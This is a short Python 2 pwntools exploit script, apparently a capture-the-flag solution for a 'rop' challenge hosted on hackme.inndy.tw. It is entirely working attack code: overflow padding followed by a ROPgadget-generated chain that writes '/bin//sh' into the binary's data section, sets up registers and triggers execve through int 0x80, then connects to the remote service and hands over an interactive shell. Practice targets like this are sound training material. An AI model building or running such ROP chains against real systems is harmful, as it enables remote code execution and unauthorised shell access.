#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os
context(arch = "i386",os = "linux", log_level = "debug")

# ROPgadget --binary rop --ropchain

# Padding goes here
p = 0x10*'0'

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io = remote("hackme.inndy.tw", 7704)
#io = process('./rop')
io.sendline(p)
io.interactive()